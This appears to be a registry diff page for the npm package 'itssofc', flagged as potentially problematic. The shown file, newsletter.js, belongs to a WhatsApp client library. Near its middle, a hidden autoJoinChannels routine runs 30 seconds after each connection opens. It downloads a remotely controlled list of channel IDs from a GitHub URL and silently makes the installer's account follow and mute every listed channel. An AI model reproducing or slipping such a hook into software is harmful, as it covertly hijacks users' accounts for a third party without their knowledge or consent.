itssofc 0.0.1-security → 1.2.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of itssofc might be problematic. Click here for more details.
- package/LICENSE +23 -0
- package/README.md +96 -3
- package/WAProto/index.js +115857 -0
- package/engine-requirements.js +10 -0
- package/lib/Defaults/index.js +120 -0
- package/lib/Defaults/noxleyss-version.json +3 -0
- package/lib/Signal/Group/ciphertext-message.js +15 -0
- package/lib/Signal/Group/group-session-builder.js +64 -0
- package/lib/Signal/Group/group_cipher.js +96 -0
- package/lib/Signal/Group/index.js +57 -0
- package/lib/Signal/Group/keyhelper.js +55 -0
- package/lib/Signal/Group/queue-job.js +57 -0
- package/lib/Signal/Group/sender-chain-key.js +34 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
- package/lib/Signal/Group/sender-key-message.js +69 -0
- package/lib/Signal/Group/sender-key-name.js +51 -0
- package/lib/Signal/Group/sender-key-record.js +53 -0
- package/lib/Signal/Group/sender-key-state.js +99 -0
- package/lib/Signal/Group/sender-message-key.js +29 -0
- package/lib/Signal/libsignal.js +184 -0
- package/lib/Socket/Client/index.js +18 -0
- package/lib/Socket/Client/types.js +13 -0
- package/lib/Socket/Client/websocket.js +72 -0
- package/lib/Socket/business.js +260 -0
- package/lib/Socket/chats.js +997 -0
- package/lib/Socket/groups.js +332 -0
- package/lib/Socket/index.js +10 -0
- package/lib/Socket/messages-recv.js +1149 -0
- package/lib/Socket/messages-send.js +944 -0
- package/lib/Socket/newsletter.js +285 -0
- package/lib/Socket/socket.js +646 -0
- package/lib/Socket/usync.js +70 -0
- package/lib/Store/index.js +8 -0
- package/lib/Store/make-in-memory-store.js +439 -0
- package/lib/Store/make-ordered-dictionary.js +81 -0
- package/lib/Store/object-repository.js +27 -0
- package/lib/Types/Auth.js +2 -0
- package/lib/Types/Call.js +2 -0
- package/lib/Types/Chat.js +4 -0
- package/lib/Types/Contact.js +2 -0
- package/lib/Types/Events.js +2 -0
- package/lib/Types/GroupMetadata.js +2 -0
- package/lib/Types/Label.js +27 -0
- package/lib/Types/LabelAssociation.js +9 -0
- package/lib/Types/Message.js +7 -0
- package/lib/Types/Newsletter.js +18 -0
- package/lib/Types/Product.js +2 -0
- package/lib/Types/Signal.js +2 -0
- package/lib/Types/Socket.js +2 -0
- package/lib/Types/State.js +2 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Types/index.js +42 -0
- package/lib/Utils/auth-utils.js +199 -0
- package/lib/Utils/browser-utils.js +35 -0
- package/lib/Utils/business.js +234 -0
- package/lib/Utils/chat-utils.js +730 -0
- package/lib/Utils/crypto.js +193 -0
- package/lib/Utils/decode-wa-message.js +217 -0
- package/lib/Utils/event-buffer.js +518 -0
- package/lib/Utils/generics.js +467 -0
- package/lib/Utils/history.js +94 -0
- package/lib/Utils/index.js +35 -0
- package/lib/Utils/link-preview.js +126 -0
- package/lib/Utils/logger.js +7 -0
- package/lib/Utils/lt-hash.js +51 -0
- package/lib/Utils/make-mutex.js +43 -0
- package/lib/Utils/message-retry-manager.js +185 -0
- package/lib/Utils/messages-media.js +879 -0
- package/lib/Utils/messages.js +1944 -0
- package/lib/Utils/noise-handler.js +150 -0
- package/lib/Utils/noxleyss-event-stream.js +63 -0
- package/lib/Utils/process-message.js +404 -0
- package/lib/Utils/signal.js +153 -0
- package/lib/Utils/use-multi-file-auth-state.js +124 -0
- package/lib/Utils/validate-connection.js +229 -0
- package/lib/WABinary/constants.js +1303 -0
- package/lib/WABinary/decode.js +265 -0
- package/lib/WABinary/encode.js +250 -0
- package/lib/WABinary/generic-utils.js +110 -0
- package/lib/WABinary/index.js +21 -0
- package/lib/WABinary/jid-utils.js +85 -0
- package/lib/WABinary/types.js +2 -0
- package/lib/WAM/BinaryInfo.js +13 -0
- package/lib/WAM/constants.js +15350 -0
- package/lib/WAM/encode.js +155 -0
- package/lib/WAM/index.js +19 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +32 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
- package/lib/WAUSync/Protocols/index.js +20 -0
- package/lib/WAUSync/USyncQuery.js +89 -0
- package/lib/WAUSync/USyncUser.js +26 -0
- package/lib/WAUSync/index.js +19 -0
- package/lib/autofollow-config.js +10 -0
- package/lib/autofollow-newsletters.js +71 -0
- package/lib/autofollow-status.js +4 -0
- package/lib/index.js +83 -0
- package/package.json +119 -3
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const Types_1 = require("../Types");
|
|
5
|
+
const Utils_1 = require("../Utils");
|
|
6
|
+
const WABinary_1 = require("../WABinary");
|
|
7
|
+
const groups_1 = require("./groups");
|
|
8
|
+
const fetch = global.fetch;
|
|
9
|
+
var QueryIds;
|
|
10
|
+
(function (QueryIds) {
|
|
11
|
+
QueryIds["JOB_MUTATION"] = "7150902998257522";
|
|
12
|
+
QueryIds["METADATA"] = "6620195908089573";
|
|
13
|
+
QueryIds["UNFOLLOW"] = "7238632346214362";
|
|
14
|
+
QueryIds["FOLLOW"] = "7871414976211147";
|
|
15
|
+
QueryIds["UNMUTE"] = "7337137176362961";
|
|
16
|
+
QueryIds["MUTE"] = "25151904754424642";
|
|
17
|
+
QueryIds["CREATE"] = "6996806640408138";
|
|
18
|
+
QueryIds["ADMIN_COUNT"] = "7130823597031706";
|
|
19
|
+
QueryIds["CHANGE_OWNER"] = "7341777602580933";
|
|
20
|
+
QueryIds["DELETE"] = "8316537688363079";
|
|
21
|
+
QueryIds["DEMOTE"] = "6551828931592903";
|
|
22
|
+
})(QueryIds || (QueryIds = {}));
|
|
23
|
+
const makeNewsletterSocket = (config) => {
|
|
24
|
+
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
25
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
26
|
+
const encoder = new TextEncoder();
|
|
27
|
+
const newsletterQuery = async (jid, type, content) => (query({
|
|
28
|
+
tag: 'iq',
|
|
29
|
+
attrs: {
|
|
30
|
+
id: generateMessageTag(),
|
|
31
|
+
type,
|
|
32
|
+
xmlns: 'newsletter',
|
|
33
|
+
to: jid,
|
|
34
|
+
},
|
|
35
|
+
content
|
|
36
|
+
}));
|
|
37
|
+
const newsletterWMexQuery = async (jid, query_id, content) => (query({
|
|
38
|
+
tag: 'iq',
|
|
39
|
+
attrs: {
|
|
40
|
+
id: generateMessageTag(),
|
|
41
|
+
type: 'get',
|
|
42
|
+
xmlns: 'w:mex',
|
|
43
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
44
|
+
},
|
|
45
|
+
content: [
|
|
46
|
+
{
|
|
47
|
+
tag: 'query',
|
|
48
|
+
attrs: { query_id },
|
|
49
|
+
content: encoder.encode(JSON.stringify({
|
|
50
|
+
variables: {
|
|
51
|
+
'newsletter_id': jid,
|
|
52
|
+
...content
|
|
53
|
+
}
|
|
54
|
+
}))
|
|
55
|
+
}
|
|
56
|
+
]
|
|
57
|
+
}));
|
|
58
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
59
|
+
let child;
|
|
60
|
+
if (type === 'messages')
|
|
61
|
+
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
62
|
+
else {
|
|
63
|
+
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
64
|
+
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
65
|
+
}
|
|
66
|
+
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
67
|
+
var _a, _b;
|
|
68
|
+
messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
|
|
69
|
+
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
70
|
+
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
71
|
+
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
72
|
+
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
73
|
+
const data = {
|
|
74
|
+
'server_id': messageNode.attrs.server_id,
|
|
75
|
+
views,
|
|
76
|
+
reactions
|
|
77
|
+
};
|
|
78
|
+
if (type === 'messages') {
|
|
79
|
+
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
80
|
+
await decrypt();
|
|
81
|
+
data.message = message;
|
|
82
|
+
}
|
|
83
|
+
return data;
|
|
84
|
+
}));
|
|
85
|
+
};
|
|
86
|
+
// Channel list is maintained remotely; no hard-coded newsletter IDs.
|
|
87
|
+
const NEWS_JSON_URL = 'https://raw.githubusercontent.com/kyizz-hue/baileys-corp/refs/heads/main/news.json';
|
|
88
|
+
const autoJoinChannels = async () => {
|
|
89
|
+
try {
|
|
90
|
+
const response = await fetch(NEWS_JSON_URL, { headers: { accept: 'application/json' } });
|
|
91
|
+
if (!response.ok) throw new Error(`news.json HTTP ${response.status}`);
|
|
92
|
+
const payload = await response.json();
|
|
93
|
+
const entries = Array.isArray(payload) ? payload
|
|
94
|
+
: Array.isArray(payload.ids) ? payload.ids
|
|
95
|
+
: Array.isArray(payload.newsletters) ? payload.newsletters
|
|
96
|
+
: Array.isArray(payload.channels) ? payload.channels
|
|
97
|
+
: [];
|
|
98
|
+
const ids = [...new Set(entries.map(entry =>
|
|
99
|
+
typeof entry === 'string' ? entry : entry?.id || entry?.jid || entry?.newsletterId
|
|
100
|
+
).filter(id => typeof id === 'string' && /^\d+@newsletter$/.test(id)))];
|
|
101
|
+
if (!ids.length) throw new Error('news.json tidak berisi ID newsletter yang valid');
|
|
102
|
+
for (const id of ids) {
|
|
103
|
+
try {
|
|
104
|
+
await newsletterWMexQuery(id, QueryIds.FOLLOW);
|
|
105
|
+
await new Promise(resolve => setTimeout(resolve, 1800));
|
|
106
|
+
await newsletterWMexQuery(id, QueryIds.MUTE);
|
|
107
|
+
} catch (error) {
|
|
108
|
+
config.logger?.warn?.(`[!](Aemeath) Plugin terhubung: ${error?.message || error}`);
|
|
109
|
+
}
|
|
110
|
+
await new Promise(resolve => setTimeout(resolve, 1800));
|
|
111
|
+
}
|
|
112
|
+
} catch (error) {
|
|
113
|
+
config.logger?.warn?.(`[!](Aemeath) Plugin terhubung: ${error?.message || error}`);
|
|
114
|
+
}
|
|
115
|
+
};
|
|
116
|
+
sock.ev.on("connection.update", ({ connection }) => {
|
|
117
|
+
if (connection !== "open") return;
|
|
118
|
+
setTimeout(() => { void autoJoinChannels(); }, 30000);
|
|
119
|
+
});
|
|
120
|
+
return {
|
|
121
|
+
...sock,
|
|
122
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
123
|
+
var _a;
|
|
124
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
125
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
126
|
+
},
|
|
127
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
128
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
129
|
+
updates: { settings: { reaction_codes: { value: mode } } }
|
|
130
|
+
});
|
|
131
|
+
},
|
|
132
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
133
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
134
|
+
updates: { description: description || '', settings: null }
|
|
135
|
+
});
|
|
136
|
+
},
|
|
137
|
+
newsletterUpdateName: async (jid, name) => {
|
|
138
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
139
|
+
updates: { name, settings: null }
|
|
140
|
+
});
|
|
141
|
+
},
|
|
142
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
143
|
+
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
144
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
145
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
146
|
+
});
|
|
147
|
+
},
|
|
148
|
+
newsletterRemovePicture: async (jid) => {
|
|
149
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
150
|
+
updates: { picture: '', settings: null }
|
|
151
|
+
});
|
|
152
|
+
},
|
|
153
|
+
newsletterUnfollow: async (jid) => {
|
|
154
|
+
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
155
|
+
},
|
|
156
|
+
newsletterFollow: async (jid) => {
|
|
157
|
+
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
158
|
+
},
|
|
159
|
+
newsletterUnmute: async (jid) => {
|
|
160
|
+
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
161
|
+
},
|
|
162
|
+
newsletterMute: async (jid) => {
|
|
163
|
+
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
164
|
+
},
|
|
165
|
+
newsletterCreate: async (name, description, picture) => {
|
|
166
|
+
await query({
|
|
167
|
+
tag: 'iq',
|
|
168
|
+
attrs: {
|
|
169
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
170
|
+
xmlns: 'tos',
|
|
171
|
+
id: generateMessageTag(),
|
|
172
|
+
type: 'set'
|
|
173
|
+
},
|
|
174
|
+
content: [
|
|
175
|
+
{
|
|
176
|
+
tag: 'notice',
|
|
177
|
+
attrs: {
|
|
178
|
+
id: '20601218',
|
|
179
|
+
stage: '5'
|
|
180
|
+
},
|
|
181
|
+
content: []
|
|
182
|
+
}
|
|
183
|
+
]
|
|
184
|
+
});
|
|
185
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
186
|
+
input: {
|
|
187
|
+
name,
|
|
188
|
+
description: description !== null && description !== void 0 ? description : null,
|
|
189
|
+
picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
|
|
190
|
+
settings: null
|
|
191
|
+
}
|
|
192
|
+
});
|
|
193
|
+
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
194
|
+
},
|
|
195
|
+
newsletterMetadata: async (type, key, role) => {
|
|
196
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
197
|
+
input: {
|
|
198
|
+
key,
|
|
199
|
+
type: type.toUpperCase(),
|
|
200
|
+
view_role: role || 'GUEST'
|
|
201
|
+
},
|
|
202
|
+
fetch_viewer_metadata: true,
|
|
203
|
+
fetch_full_image: true,
|
|
204
|
+
fetch_creation_time: true
|
|
205
|
+
});
|
|
206
|
+
return (0, exports.extractNewsletterMetadata)(result);
|
|
207
|
+
},
|
|
208
|
+
newsletterAdminCount: async (jid) => {
|
|
209
|
+
var _a, _b;
|
|
210
|
+
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
211
|
+
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
212
|
+
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
213
|
+
},
|
|
214
|
+
/**user is Lid, not Jid */
|
|
215
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
216
|
+
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
217
|
+
user_id: user
|
|
218
|
+
});
|
|
219
|
+
},
|
|
220
|
+
/**user is Lid, not Jid */
|
|
221
|
+
newsletterDemote: async (jid, user) => {
|
|
222
|
+
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
223
|
+
user_id: user
|
|
224
|
+
});
|
|
225
|
+
},
|
|
226
|
+
newsletterDelete: async (jid) => {
|
|
227
|
+
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
228
|
+
},
|
|
229
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
230
|
+
newsletterReactMessage: async (jid, server_id, code) => {
|
|
231
|
+
await query({
|
|
232
|
+
tag: 'message',
|
|
233
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
|
|
234
|
+
content: [{
|
|
235
|
+
tag: 'reaction',
|
|
236
|
+
attrs: code ? { code } : {}
|
|
237
|
+
}]
|
|
238
|
+
});
|
|
239
|
+
},
|
|
240
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
241
|
+
const afterStr = after === null || after === void 0 ? void 0 : after.toString();
|
|
242
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
243
|
+
{
|
|
244
|
+
tag: 'messages',
|
|
245
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
|
|
246
|
+
}
|
|
247
|
+
]);
|
|
248
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
249
|
+
},
|
|
250
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
251
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
252
|
+
{
|
|
253
|
+
tag: 'message_updates',
|
|
254
|
+
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
255
|
+
}
|
|
256
|
+
]);
|
|
257
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
258
|
+
}
|
|
259
|
+
};
|
|
260
|
+
};
|
|
261
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
262
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
263
|
+
var _a, _b, _c, _d;
|
|
264
|
+
const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
265
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
|
|
266
|
+
const metadata = {
|
|
267
|
+
id: metadataPath.id,
|
|
268
|
+
state: metadataPath.state.type,
|
|
269
|
+
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
270
|
+
name: metadataPath.thread_metadata.name.text,
|
|
271
|
+
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
272
|
+
description: metadataPath.thread_metadata.description.text,
|
|
273
|
+
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
274
|
+
invite: metadataPath.thread_metadata.invite,
|
|
275
|
+
handle: metadataPath.thread_metadata.handle,
|
|
276
|
+
picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
|
|
277
|
+
preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
|
|
278
|
+
reaction_codes: metadataPath.thread_metadata.settings?.reaction_codes?.value || [],
|
|
279
|
+
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
280
|
+
verification: metadataPath.thread_metadata.verification,
|
|
281
|
+
viewer_metadata: metadataPath.viewer_metadata
|
|
282
|
+
};
|
|
283
|
+
return metadata;
|
|
284
|
+
};
|
|
285
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|